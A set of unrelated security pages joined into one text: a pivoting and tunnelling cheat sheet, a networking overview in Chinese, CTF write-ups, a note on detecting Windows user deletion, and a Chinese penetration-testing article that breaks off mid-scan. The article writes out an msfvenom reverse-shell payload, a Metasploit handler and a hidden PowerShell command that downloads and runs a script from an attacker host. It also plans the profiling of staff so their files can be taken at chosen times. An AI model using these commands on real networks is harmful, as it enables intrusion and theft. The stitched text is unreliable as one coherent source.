your local machine] [VPS IP] # redirects the Windows port 445 to Kali on port 22 plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185 ``` ## ngrok ```powershell # get the binary wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip # log into the service ./ngrok authtoken 3U[REDACTED_TOKEN]Hm # deploy a port forwarding for 4433 ./ngrok http 4433 ./ngrok tcp 4433 ``` ## cloudflared ```bash # Get the binary wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz tar xvzf cloudflared-stable-linux-amd64.tgz # Expose accessible internal service to the internet ./cloudflared tunnel --url <protocol>://<host>:<port> ``` ## Capture a network trace with builtin tools * Windows (netsh) ```ps1 # start a capture use the netsh command. netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384 # stop the trace netsh trace stop # Event tracing can be also used across a reboots netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384 # To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version. etl2pcapng.exe c:\trace.etl c:\trace.pcapng # Use filters netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384 ``` * Linux (tcpdump) ```ps1 sudo apt-get install tcpdump tcpdump -w 0001.pcap -i eth0 tcpdump -A -i eth0 # capture every TCP packet tcpdump -i eth0 tcp # capture everything on port 22 tcpdump -i eth0 port 22 ``` ## Basic Pivoting Types | Type | Use Case | | :------------- | :------------------------------------------ | | Listen - Listen | Exposed asset, may not want to connect out. | | Listen - Connect | Normal redirect. | | Connect - Connect | Can’t bind, so connect to bridge two hosts | ### Listen - Listen | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`| | socat | `socat -v tcp-listen:8080 tcp-listen:9090` | | remote host 1 | `ncat localhost 8080 < file` | | remote host 2 | `ncat localhost 9090 > newfile` | ### Listen - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat localhost -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ### Connect - Connect | Type | Use Case | | :------------- | :------------------------------------------ | | ncat | `ncat localhost 8080 -c "ncat localhost 9090"` | | socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` | | remote host 1 | `ncat -l -p 8080 < file` | | remote host 2 | `ncat -l -p 9090 > newfile` | ## References * [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) * [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences) * [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) * [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/) * 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/) * [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49) * [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory) * [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)
sec-knowleage
# 堆初始化 堆初始化是在用户第一次申请内存时执行 malloc_consolidate 再执行 malloc_init_state 实现的。这里不做过多讲解。可以参见 `malloc_state` 相关函数。
sec-knowleage
# 计算机网络 - 概述 <!-- GFM-TOC --> * [计算机网络 - 概述](#计算机网络---概述) * [网络的网络](#网络的网络) * [ISP](#isp) * [主机之间的通信方式](#主机之间的通信方式) * [电路交换与分组交换](#电路交换与分组交换) * [1. 电路交换](#1-电路交换) * [2. 分组交换](#2-分组交换) * [时延](#时延) * [1. 排队时延](#1-排队时延) * [2. 处理时延](#2-处理时延) * [3. 传输时延](#3-传输时延) * [4. 传播时延](#4-传播时延) * [计算机网络体系结构](#计算机网络体系结构) * [1. 五层协议](#1-五层协议) * [2. OSI](#2-osi) * [3. TCP/IP](#3-tcpip) * [4. 数据在各层之间的传递过程](#4-数据在各层之间的传递过程) <!-- GFM-TOC --> ## 网络的网络 网络把主机连接起来,而互连网(internet)是把多种不同的网络连接起来,因此互连网是网络的网络。而互联网(Internet)是全球范围的互连网。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/network-of-networks.gif" width="450"/> </div><br> ## ISP 互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址,同时拥有通信线路以及路由器等联网设备,个人或机构向 ISP 缴纳一定的费用就可以接入互联网。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/72be01cd-41ae-45f7-99b9-a8d284e44dd4.png" width="500"/> </div><br> 目前的互联网是一种多层次 ISP 结构,ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/3be42601-9d33-4d29-8358-a9d16453af93.png" width="500"/> </div><br> ## 主机之间的通信方式 - 客户-服务器(C/S):客户是服务的请求方,服务器是服务的提供方。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/914894c2-0bc4-46b5-bef9-0316a69ef521.jpg" width="240px"> </div><br> - 对等(P2P):不区分客户和服务器。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/42430e94-3137-48c0-bdb6-3cebaf9102e3.jpg" width="200px"> </div><br> ## 电路交换与分组交换 ### 1. 电路交换 电路交换用于电话通信系统,两个用户要通信之前需要建立一条专用的物理链路,并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路,因此电路交换对线路的利用率很低,往往不到 10%。 ### 2. 分组交换 每个分组都有首部和尾部,包含了源地址和目的地址等控制信息,在同一个传输线路上同时传输多个分组互相不会影响,因此在同一条传输线路上允许同时传输多个分组,也就是说分组交换不需要占用传输线路。 在一个邮局通信系统中,邮局收到一份邮件之后,先存储下来,然后把相同目的地的邮件一起转发到下一个目的地,这个过程就是存储转发过程,分组交换也使用了存储转发过程。 ## 时延 总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4b2ae78c-e254-44df-9e37-578e2f2bef52.jpg" width="380"/> </div><br> ### 1. 排队时延 分组在路由器的输入队列和输出队列中排队等待的时间,取决于网络当前的通信量。 ### 2. 处理时延 主机或路由器收到分组时进行处理所需要的时间,例如分析首部、从分组中提取数据、进行差错检验或查找适当的路由等。 ### 3. 传输时延 主机或路由器传输数据帧所需要的时间。 <!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(bit)}{v(bit/s)}" class="mathjax-pic"/></div> <br> --> <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dcdbb96c-9077-4121-aeb8-743e54ac02a4.png" width="150px"> </div><br> 其中 l 表示数据帧的长度,v 表示传输速率。 ### 4. 传播时延 电磁波在信道中传播所需要花费的时间,电磁波传播的速度接近光速。 <!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}" class="mathjax-pic"/></div> <br> --> <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a1616dac-0e12-40b2-827d-9e3f7f0b940d.png" width="150"> </div><br> 其中 l 表示信道长度,v 表示电磁波在信道上的传播速度。 ## 计算机网络体系结构 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0fa6c237-a909-4e2a-a771-2c5485cd8ce0.png" width="450"/> </div><br> ### 1. 五层协议 - **应用层** :为特定应用程序提供数据传输服务,例如 HTTP、DNS 等协议。数据单位为报文。 - **传输层** :为进程提供通用数据传输服务。由于应用层协议很多,定义通用的传输层协议就可以支持不断增多的应用层协议。运输层包括两种协议:传输控制协议 TCP,提供面向连接、可靠的数据传输服务,数据单位为报文段;用户数据报协议 UDP,提供无连接、尽最大努力的数据传输服务,数据单位为用户数据报。TCP 主要提供完整性服务,UDP 主要提供及时性服务。 - **网络层** :为主机提供数据传输服务。而传输层协议是为主机中的进程提供数据传输服务。网络层把传输层传递下来的报文段或者用户数据报封装成分组。 - **数据链路层** :网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为同一链路的主机提供数据传输服务。数据链路层把网络层传下来的分组封装成帧。 - **物理层** :考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使数据链路层感觉不到这些差异。 ### 2. OSI 其中表示层和会话层用途如下: - **表示层** :数据压缩、加密以及数据描述,这使得应用程序不必关心在各台主机中数据内部格式不同的问题。 - **会话层** :建立及管理会话。 五层协议没有表示层和会话层,而是将这些功能留给应用程序开发者处理。 ### 3. TCP/IP 它只有四层,相当于五层协议中数据链路层和物理层合并为网络接口层。 TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者网络接口层。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/48d79be8-085b-4862-8a9d-18402eb93b31.png" width="250"/> </div><br> ### 4. 数据在各层之间的传递过程 在向下的过程中,需要添加下层协议所需要的首部或者尾部,而在向上的过程中不断拆开首部和尾部。 路由器只有下面三层协议,因为路由器位于网络核心中,不需要为进程或者应用程序提供服务,因此也就不需要传输层和应用层。
sec-knowleage
# INCD - Junior Cyber Challenge 2022 This is a short CTF by the Israeli National Cyber Directorate, as part of a recruitment campaign. I didn't save the questions themselves but will try to create a very basic & lightweight writeup the challenges based on my notes. ## Junior Cyber Intelligence and IR Researcher ### Challenge #1 We get an event log file and need to find a username. ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Cyber_Intelligence_and_IR_Researcher/3] └─$ file SecurityLog.evtx SecurityLog.evtx: MS Windows Vista Event Log, 4 chunks (no. 3 in use), next record no. 157 ``` We export the file to text with `evtxexport`: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Cyber_Intelligence_and_IR_Researcher/3] └─$ evtxexport SecurityLog.evtx > out.txt ``` Then search for users: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Cyber_Intelligence_and_IR_Researcher/3] └─$ cat out.txt| grep -i user String: 9 : "net.exe" USER support_388945a0 password /add /y /expires:never String: 9 : C:\Windows\system32\net1 USER support_388945a0 password /add /y /expires:never String: 3 : Users String: 9 : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\nuckc.VFOREST\Desktop\sec.txt ``` `support_388945a0` was accepted as the answer. ### Challenge #2 We get the following login page: ```html <!DOCTYPE Html /> <html> <head> <title>IR team CTF</title> </head> <body> <input type="text" name="flag" id="flag" value="Enter the flag" /> <input type="button" id="prompt" value="Click to check the flag" /> <script type="text/javascript"> document.getElementById("prompt").onclick = function () { console.log(document.getElementById("flag").value) var flag = document.getElementById("flag").value; var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);}); console.log(rotFlag) if ("plorez@plore.tbi.vy" == rotFlag) { alert("Correct flag!, you are on the right way to the IR "); } else { alert("Ops, Incorrect flag, rot again"); } } </script> </body> </html> ``` We need to find an input that will result in `"plorez@plore.tbi.vy"` after the given manipulations. This is simply ROT13, and the answer is `cyberm@cyber.gov.il`. ## Junior Vulnerability and Biometric Cyber Analyst Researcher ### Challenge #1 We get a PCAP network capture. Follow the TCP streams. There are several red herrings. The flag is found in one of the messages of `ip.addr == 133.7.133.7`, encoded in base62 and then base64: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Biometric_Cyber_Analyst_Researcher/1] └─$ tshark -r pcapb.pcapng -Y "ip.addr == 133.7.133.7" -T fields -e data.text -o data.show_as_text:TRUE 1OXEuiYOMOZxtTrPpzQzT5rfozAmR8E5OHcoYIJXSeWFi56hrE2wkRh9kubs2fncnA50u0a21gS3XIjXnAHLNXtkNOrE1XWaeghCBjh9bAyGxKEcKJS2nzxRBgTE7WbOud1P87E EgaJxMZf1WQNuCSzeGrVad6novTEem EgaJxMZf1WQNuCSzeGrVad6novTEem b29vb29vb29vb29vb29vb29vb28gbm8gVGhlIGZsYWcgaXMgbm90IGhlcmU= dGhlIGZsYWcgaXM6IG5vdCBoZXJlIDo= ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Biometric_Cyber_Analyst_Researcher/1] └─$ node Welcome to Node.js v18.10.0. Type ".help" for more information. > const chef = require("/home/user/utils/CyberChef/"); undefined > chef.fromBase64(chef.fromBase62("1OXEuiYOMOZxtTrPpzQzT5rfozAmR8E5OHcoYIJXSeWFi56hrE2wkRh9kubs2fncnA50u0a21gS3XIjXnAHLNXtkNOrE1XWaeghCBjh9bAyGxKEcKJS2nzxRBgTE7WbOud1P87E")) Congratulations you captured the flag! The picture needs me: INCD_2022_FLAG > ``` ### Challenge #2 We get the following script and need to fix it: ```python # counts the uppercase letters in a string def count_uppercase(lst): return sum(letter.isupper() for letter in word for word in lst) # removes all the numbers from a string and returns the char in index 17 of the remaining string def remove_numbers(string): str = "".join(i for i in string if not i.int()) return ord(str[17]) # removes all the abc chars from a string and slicing the string from index 13 to 15 def remove_chars(string): chars = "abcdefghijklmnopqrstuvwxyzABCEFGHIJKLMNOPQRSTUVWXYZ" for char in chars: string = string.replace(char, "") return chr(int(string[13:15])) # fibonacci + 12 def fibonacci(num): a, b = 1, 1 for i in range(1, num): a, b = b, a+b return b + 12 # decimal to ascii def dec_to_ascii(a): return chr(a) # get current year def get_year(): a = datetime.date.today().year return a if __name__ == '__main__': first_var = ["SOLO", "hEllO", "Tea", "wHat", "Green", "Oolong", "Matcha", "WhIte", "Pu-Erh", "YelLow", "Mulberry black", "Chai", "CeiLlon", "Aerobacter","AeroBic", "aerodynaMic", "aeRoFoil", "aerogene", "AeroNauTic", "AerOsoL", "AerOSpace", "AeschyluS", "AesOp", "aesthete", "aesThetiC", "afar", "affable", "afair", "affect", "AFFeCtate", "hOrsE", "HorSebacK", "horsedom", "horsefLesh", "horsefly", "horSehair", "hoRseMaN", "HorSemen", "horsePlAy", "HoRsePower", "HoRSeshOe", "HorsEtaIl", "hOrseWomaN"] second_var = "I45gawq$645@8209CP356AD87N5686yAdseNa1789oWqret54XdsQe32" third_var = 9 fourth_var = "I45gawq$645@8209CP356As87L5D36yAdseNa1789oWqret54XdsQe32" fifth_var = ["SOlO", "hEllO", "Tea", "wHat", "Green", "Oolong", "Matcha", "WhIte", "Pu-Erh", "YelLow", "Mulberry black", "Chai", "CeiLlon", "Aerobacter","AeroBic", "aerodynaMic", "aeRoFoil", "aerogene", "AeroNauTic", "AerOsoL", "AerOSpace", "AeschyluS", "AesOp", "aesthete", "aesThetiC", "afar", "affable", "afair", "affect", "AFFectate", "hOrsE", "HorSebacK", "horsedom", "horseflesh", "horsefly", "horSehair", "hoRseMaN", "HorSemen", "horsePlAy", "HoRsePower", "HoRSeshOe", "HorsEtaIl", "hOrseWomaN"] sixth_var = "I45gawq$645@8L09CP356AD87L5686yAdsLNa1789oWqret54XdsQe32" seventh_var = 9 flag = str(count_uppercase(first_var)) + str(remove_numbers(second_var)) + \ str(fibonacci(third_var)) + remove_chars(fourth_var) + "_" + str(get_year()) + "_PYTHON_" + \ str(count_uppercase(fifth_var)) + str(remove_numbers(sixth_var)) + \ str(fibonacci(seventh_var) - 2) + str(71) print("Congratulations! You have captured the {}".format(flag)) ``` These are the changes needed: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Biometric_Cyber_Analyst_Researcher/3] └─$ diff incd_ctf_buggy.py incd_ctf_fixed.py 1a2,3 > import datetime > 4c6 < return sum(letter.isupper() for letter in word for word in lst) --- > return chr(sum(letter.isupper() for word in lst for letter in word)) 9,10c11,12 < str = "".join(i for i in string if not i.int()) < return ord(str[17]) --- > s = "".join(i for i in string if not i.isdigit()) > return s[17] 18c20 < return chr(int(string[13:15])) --- > return string[13:15] 59c61 < str(fibonacci(third_var)) + remove_chars(fourth_var) + "_" + str(get_year()) + "_PYTHON_" + \ --- > str(chr(fibonacci(third_var))) + chr(int(remove_chars(fourth_var))) + "_" + str(get_year()) + "_PYTHON_" + \ 61c63 < str(fibonacci(seventh_var) - 2) + str(71) --- > str(chr(fibonacci(seventh_var) - 2)) + str(chr(71)) ``` The result: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Biometric_Cyber_Analyst_Researcher/3] └─$ python3 incd_ctf_fixed.py Congratulations! You have captured the INCD_2022_PYTHON_FLAG ``` ## Junior Vulnerability and Cyber Analyst Researcher ### Challenge #1 We get a PNG image. We run some basic tests on it: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Cyber_Analyst_Researcher/2] └─$ pngcheck incd_picture_challange.PNG incd_picture_challange.PNG additional data after IEND chunk ERROR: incd_picture_challange.PNG ``` We extract it with `binwalk`: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD/Junior_Vulnerability_and_Cyber_Analyst_Researcher/2] └─$ binwalk --dd='.*' incd_picture_challange.PNG DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 788 x 563, 8-bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed 652877 0x9F64D 7-zip archive data, version 0.4 ``` It's a 7Zip archive, extract it again: ```console ┌──(user@kali)-[/media/…/INCD/Junior_Vulnerability_and_Cyber_Analyst_Researcher/2/_incd_picture_challange.PNG.extracted] └─$ 7z e 9F64D 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900K (90672),ASM) Scanning the drive for archives: 1 file, 13843 bytes (14 KiB) Extracting archive: 9F64D -- Path = 9F64D Type = 7z Physical Size = 13843 Headers Size = 162 Method = LZMA2:24k Solid = - Blocks = 1 Everything is Ok Size: 18432 Compressed: 13843 ``` We get an encrypted `docx` file: ```console ┌──(user@kali)-[/media/…/INCD/Junior_Vulnerability_and_Cyber_Analyst_Researcher/2/_incd_picture_challange.PNG.extracted] └─$ file incd_picture_challange.docx incd_picture_challange.docx: CDFV2 Encrypted ``` Decrypt it using the password from a previous challenge: ```console ┌──(user@kali)-[/media/…/INCD/Junior_Vulnerability_and_Cyber_Analyst_Researcher/2/_incd_picture_challange.PNG.extracted] └─$ msoffcrypto-tool incd_picture_challange.docx decrypted.docx -p INCD_2022_FLAG ``` We get the following text: ``` 01010001 00110010 00111001 01110101 01011010 00110011 01001010 01101000 01100100 01001000 01010110 01110011 01011001 01011000 01010010 01110000 01100010 00110010 00110101 01111010 01001001 01010011 01000010 01011010 01100010 00110011 01010101 01100111 01100001 01000111 01000110 00110010 01011010 01010011 01000010 01101010 01011001 01011000 01000010 00110000 01100100 01011000 01001010 01101100 01011010 01000011 01000010 00110000 01100001 01000111 01010101 01100111 01011010 01010111 00110101 01101010 01100011 01101110 01101100 01110111 01100100 01000111 01010110 01101011 01001001 01001000 01000010 01110000 01011001 00110011 01010010 00110001 01100011 01101101 01010101 01100111 01011010 01101101 01111000 01101000 01011010 01111010 01101111 01100111 01010011 01010101 00110101 01000100 01010010 01000110 00111000 01111001 01001101 01000100 01001001 01111001 01011000 00110001 01000010 01001010 01010001 00110001 01010010 01010110 01010101 01101011 01010110 01100110 01010010 01101011 01111000 01000010 01010010 01110111 00111101 00111101 ``` Decoded from binary and then base64, it becomes: ``` Congratulations! You have captured the encrypted picture flag: INCD_2022_PICTURE_FLAG ```
sec-knowleage
# T8000-win-使用User_Del删除用户 ## 测试案例 参考下文中提到的User_Del.exe程序删除用户。 <https://github.com/Ryze-T/Windows_API_Tools> 作用:删除用户 用法:User_Del.exe Username ## 检测日志 windows sysmon / Windows security ## 测试复现 测试环境说明:Windows server 2012 ```shell C:\Windows_API_Tools-main>net user wang TOpsec.098 /add 命令成功完成。 C:\Windows_API_Tools-main>User_Del.exe wang success ``` ## 测试留痕 Windows sysmon EventID:1 进程创建 ```log Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-03-24 08:43:02.668 ProcessGuid: {4a363fee-2f16-623c-79a3-4e0000000000} ProcessId: 4084 Image: C:\Windows_API_Tools-main\User_Del.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: User_Del.exe wang CurrentDirectory: C:\Windows_API_Tools-main\ User: WEIDONG\Administrator LogonGuid: {4a363fee-2447-623c-df16-080000000000} LogonId: 0x816DF TerminalSessionId: 1 ``` windows security EventID:4733、4729、4726 ```log 4733 已从启用了安全性的本地组中删除某个成员。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 成员: 安全 ID: WEIDONG\wang 帐户名: - 组: 安全 ID: BUILTIN\Users 组名: Users 组域: Builtin 附加信息: 4729 已从启用了安全性的全局组中删除某个成员。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 成员: 安全 ID: WEIDONG\wang 帐户名: - 组: 安全 ID: WEIDONG\None 组名: None 组域: WEIDONG 附加信息: 4726 已删除用户帐户。 使用者: 安全 ID: WEIDONG\Administrator 帐户名: Administrator 帐户域: WEIDONG 登录 ID: 0x816DF 目标帐户: 安全 ID: WEIDONG\wang 帐户名: wang 帐户域: WEIDONG 附加信息: 特权 ``` ## 检测规则/思路 整体上看特征还是很明显的,重点关注账户删除日志。 ## 参考推荐 系统监视器(Sysmon)工具的使用 <https://blog.csdn.net/ducc20180301/article/details/119350200> Windows_API_Tools <https://github.com/Ryze-T/Windows_API_Tools>
sec-knowleage
# OpenCV (ppc 200) ###ENG [PL](#pl-version) In the task we get an OpenCV cascade classifier and a lot of images in a [package](task.zip). Each of the images has a small hashcode embedded. The goal is to see which of the pictures gets selected by OpenCV. We simply loaded the classifier and run: ```python import os import cv2 def main(): cascade = cv2.CascadeClassifier('/tmp/task/any.xml') basedir = "/tmp/task/images" for filename in os.listdir(basedir): img = cv2.imread(basedir + "/" + filename) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) flags = cascade.detectMultiScale(gray, 1.3, 5) if len(flags) > 0: print(filename) for (x, y, w, h) in flags: cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) cv2.imshow('img', img) cv2.waitKey(0) cv2.destroyAllWindows() main() ``` And we got image 240.bmp with `FWqM5vfOKvY0T8t3ho6L` ###PL version W zadaniu dostajemy klasyfikator OpenCV i sporo obrazków w [paczce](task.zip). Każdy obrazek zawiera hashcode. Celem jest znalezienie obrazka wybranego przez OpenCV. Po prostu uruchomiliśmy klasyfikator: ```python import os import cv2 def main(): cascade = cv2.CascadeClassifier('/tmp/task/any.xml') basedir = "/tmp/task/images" for filename in os.listdir(basedir): img = cv2.imread(basedir + "/" + filename) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) flags = cascade.detectMultiScale(gray, 1.3, 5) if len(flags) > 0: print(filename) for (x, y, w, h) in flags: cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) cv2.imshow('img', img) cv2.waitKey(0) cv2.destroyAllWindows() main() ``` Co wskazało 240.bmp z `FWqM5vfOKvY0T8t3ho6L`
sec-knowleage
> 目标资产信息搜集的程度,决定渗透过程的复杂程度。 > 目标主机信息搜集的深度,决定后渗透权限持续把控。 > 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 > ----Micropoor 文章将连载,从几方面论证,**渗透的本质是信息搜集**。 一次完整的网络渗透,不仅仅是与目标管理人员的权限争夺,一次完整的网络渗透,它分为两大块,**技术业务**与**信息分析业务**。 而**技术业务要辅助并且要为信息分析业务提供强大的支撑与保证**。同时**信息分析业务要为技术业务提供关键的目标信息分析逻辑关系与渗透方向**。 案例如下:(非root/administrator下主动信息搜集)(有马赛克) 在得到一个webshell时,非root/administrator情况下对目标信息搜集至关重要,它会影响后期的渗透是否顺利,以及渗透方向。 目标主机分配了2个内网IP,分别为 10.0.0.X 与 192.168.100.X ![](media/8662257637ef2af4586f753a113dae25.jpg) 得知部分服务软件,以及杀毒软件 NOD32,一般内网中为杀毒为集体一致。 ![](media/648cf924f838838a640e5d845c6b0a26.jpg) 搜集补丁更新频率,以及系统状况 ![](media/bf97b8416a0bb48ff30263a02da4c80b.jpg) 搜集安装软件以及版本,路径等。 ![](media/300fe596787c9c2cbebd471591629f6b.jpg) ![](media/caae57861800df2ea13d2677b2ac8a1c.jpg) 域中用户如下。目前权限为 iis apppool\xxxx ![](media/71d9d6527589b430f48a7ca0a1efdce2.jpg) 正如上面所说,技术业务需要辅助分析业务。在域组中,其中有几个组需要特别关注,在一般的大型内网渗透中,需要关注大致几个组 **(1)IT组/研发组** 他们掌握在大量的内网密码,数据库密码等。 **(2)秘书组** 他们掌握着大量的目标机构的内部传达文件,为信息分析业务提供信息,在反馈给技术业务来确定渗透方向 **(3)domain admins组** root/administrator **(4)财务组** 他们掌握着大量的资金往来与目标企业的规划发展,并且可以通过资金,来判断出目标组织的整体架构 **(5)CXX组** ceo cto coo等,不同的目标组织名字不同,如部长,厂长,经理等。 ![](media/fcb0d45dbf09c50adbf473f85fb468c0.jpg) 以研发中心为例:研发中心共计4人。 **并且开始规划信息刺探等级:** **等级1:**确定某部门具体人员数量 如研发中心4人 **等级2:**确定该部门的英文用户名的具体信息,如姓名,联系方式,邮箱,职务等。以便确定下一步攻击方向 **等级3:**分别刺探白天/夜间 内网中所存活机器并且对应IP地址 **等级4:** 对应人员的工作机内网IP,以及工作时间 **等级5:** 根据信息业务反馈,制定目标安全时间,以便拖拽指定人员文件,或登录目标机器 **等级6:** 制定目标机器后渗透与持续渗透的方式以及后门 ### 刺探等级1 ![](media/cc9a229d319f91d109bd7a84874fa341.jpg) ### 刺探等级2 ![](media/5305a8890be45902aacb107373c3a046.jpg) ![](media/35fed4bbfade4243fb017db7c199822f.jpg) 在 net user /domain 后得到域中用户,但需要在**非root/administrator**权限下得到更多的信息来给信息分析业务提供数据,并确定攻击方向。 在案例中针对 nod32,采用 powershell payload ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xx -f psh-reflection > xx.ps1 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost xxx.xxx.xxx.xxx lhost => xxx.xxx.xxx.xxx msf exploit(handler) > set lport xxx lport => xxx msf > run powershell -windowstyle hidden -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1');" ``` 注意区分目标及系统是32位还是64位。 ![](media/65937ec4401b9b85a2a7280e6e8b1e14.jpg) ![](media/98463d3aa553b77e77a057eae6a3f57c.jpg) ![](media/6ef6fb36515c9ab57e0e38a24e2fc809.jpg) ![](media/2b7fd17d2d1c8c1ffd13134ce502c1b5.jpg) ![](media/627f7d0b2cf780725115a7eaa1dfb01b.jpg) 接下来将会用 IIS APPPOOL\\XXXX 的权限来搜集更多有趣的信息 ![](media/50409d7054b3842df85370c03b4c88f8.jpg) 某数据库配置 for mssql ![](media/474c1c2549316bbf317fa0ee1be8c461.jpg) ![](media/7f942b8a47046f622a76c9fcfa17131e.jpg) 白天测试段10.0.0.x段在线主机 for windows (部分) ![](media/c1dc05330e082caae0c6895ac1c1abcb.jpg) ### 10.0.0.x 段信息刺探: IP 1-50 open 3389 (部分) ![](media/04045975dcc3d3b9aacfe9ed44cc8a45.jpg) ```bash [+] 10.0.0.2: - 10.0.0.2:3389 - TCP OPEN [+] 10.0.0.3: - 10.0.0.3:3389 - TCP OPEN [+] 10.0.0.5: - 10.0.0.5:3389 - TCP OPEN [+] 10.0.0.7: - 10.0.0.7:3389 - TCP OPEN [+] 10.0.0.9: - 10.0.0.9:3389 - TCP OPEN [+] 10.0.0.12: - 10.0.0.12:3389 - TCP OPEN [+] 10.0.0.13: - 10.0.0.13:3389 - TCP OPEN [+] 10.0.0.14: - 10.0.0.14:3389 - TCP OPEN [+] 10.0.0.26: - 10.0.0.26:3389 - TCP OPEN [+] 10.0.0.28: - 10.0.0.28:3389 - TCP OPEN [+] 10.0.0.32: - 10.0.0.32:3389 - TCP OPEN ``` IP 1-255 open 22,25 (部分) ![](media/d75d26fbe0f7bf91da3fe7db65c58c76.jpg) ```bash [+] 10.0.0.3: - 10.0.0.3:25 - TCP OPEN [+] 10.0.0.5: - 10.0.0.5:25 - TCP OPEN [+] 10.0.0.14: - 10.0.0.14:25 - TCP OPEN [+] 10.0.0.15: - 